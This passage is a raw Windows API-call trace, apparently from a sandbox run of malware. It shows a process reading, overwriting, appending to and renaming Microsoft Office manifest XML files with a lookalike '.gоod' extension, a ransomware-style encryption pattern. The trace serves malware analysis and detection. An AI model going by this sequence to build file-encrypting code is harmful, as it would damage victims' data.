nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3595248*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0164.308] CloseHandle (hObject=0x644) returned 1 [0164.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0164.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0164.308] GetFileType (hFile=0x644) returned 0x1 [0164.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.308] GetFileType (hFile=0x644) returned 0x1 [0164.308] ReadFile (in: hFile=0x644, lpBuffer=0x3597b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3597b40*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0164.336] CloseHandle (hObject=0x644) returned 1 [0164.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0164.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0164.336] GetFileType (hFile=0x644) returned 0x1 [0164.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.336] GetFileType (hFile=0x644) returned 0x1 [0164.336] WriteFile (in: hFile=0x644, lpBuffer=0x3596850*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3596850*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0164.336] CloseHandle (hObject=0x644) returned 1 [0164.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x56 [0164.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5b [0164.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0164.337] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2dfa2a2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2dfa2a2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5e2b7305, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x266a)) returned 1 [0164.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0164.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml.gоod")) returned 1 [0164.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0164.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0164.338] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3615ce8 | out: lpFileInformation=0x3615ce8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c)) returned 1 [0164.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0164.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0164.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0164.338] GetFileType (hFile=0x644) returned 0x1 [0164.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.338] GetFileType (hFile=0x644) returned 0x1 [0164.338] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0164.339] ReadFile (in: hFile=0x644, lpBuffer=0x3616200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3616200*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0164.463] CloseHandle (hObject=0x644) returned 1 [0164.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0164.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.883] GetFileType (hFile=0x768) returned 0x1 [0164.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.883] GetFileType (hFile=0x768) returned 0x1 [0164.883] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x39d9c [0164.883] WriteFile (in: hFile=0x768, lpBuffer=0x3511148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3511148*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0164.886] CloseHandle (hObject=0x768) returned 1 [0164.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0164.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.887] GetFileType (hFile=0x768) returned 0x1 [0164.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.887] GetFileType (hFile=0x768) returned 0x1 [0164.887] ReadFile (in: hFile=0x768, lpBuffer=0x3513fa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3513fa8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0164.966] CloseHandle (hObject=0x768) returned 1 [0164.966] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0164.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.966] GetFileType (hFile=0x768) returned 0x1 [0164.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.966] GetFileType (hFile=0x768) returned 0x1 [0164.966] WriteFile (in: hFile=0x768, lpBuffer=0x338b660*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x338b660*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0164.966] CloseHandle (hObject=0x768) returned 1 [0164.967] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x63 [0164.967] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x68 [0164.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0164.967] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5e8ac475, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x39dac)) returned 1 [0164.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0164.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.gоod")) returned 1 [0164.968] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0164.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0164.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33a38d0 | out: lpFileInformation=0x33a38d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70)) returned 1 [0164.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0164.968] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0164.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0164.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.968] GetFileType (hFile=0x768) returned 0x1 [0164.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0164.968] GetFileType (hFile=0x768) returned 0x1 [0164.969] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0164.969] ReadFile (in: hFile=0x768, lpBuffer=0x33a3d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x33a3d98*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0165.100] CloseHandle (hObject=0x768) returned 1 [0168.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0168.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0168.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.640] GetFileType (hFile=0x650) returned 0x1 [0168.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0168.640] GetFileType (hFile=0x650) returned 0x1 [0168.641] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x8f70 [0168.641] WriteFile (in: hFile=0x650, lpBuffer=0x34f26c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34f26c8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0168.641] CloseHandle (hObject=0x650) returned 1 [0168.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0168.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0168.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.642] GetFileType (hFile=0x650) returned 0x1 [0168.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0168.642] GetFileType (hFile=0x650) returned 0x1 [0168.642] ReadFile (in: hFile=0x650, lpBuffer=0x34f49e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34f49e0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0168.671] CloseHandle (hObject=0x650) returned 1 [0168.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0168.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0168.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.671] GetFileType (hFile=0x650) returned 0x1 [0168.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0168.671] GetFileType (hFile=0x650) returned 0x1 [0168.671] WriteFile (in: hFile=0x650, lpBuffer=0x34f36e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34f36e0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0168.671] CloseHandle (hObject=0x650) returned 1 [0168.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0168.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5d [0168.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0168.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x60befe0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8f80)) returned 1 [0168.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0168.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml.gоod")) returned 1 [0168.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0168.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0168.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x35710a8 | out: lpFileInformation=0x35710a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e)) returned 1 [0168.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0168.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0168.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0168.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.673] GetFileType (hFile=0x650) returned 0x1 [0168.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0168.673] GetFileType (hFile=0x650) returned 0x1 [0168.673] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0168.673] ReadFile (in: hFile=0x650, lpBuffer=0x35715d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x35715d0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0168.989] CloseHandle (hObject=0x650) returned 1 [0168.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0168.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0168.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 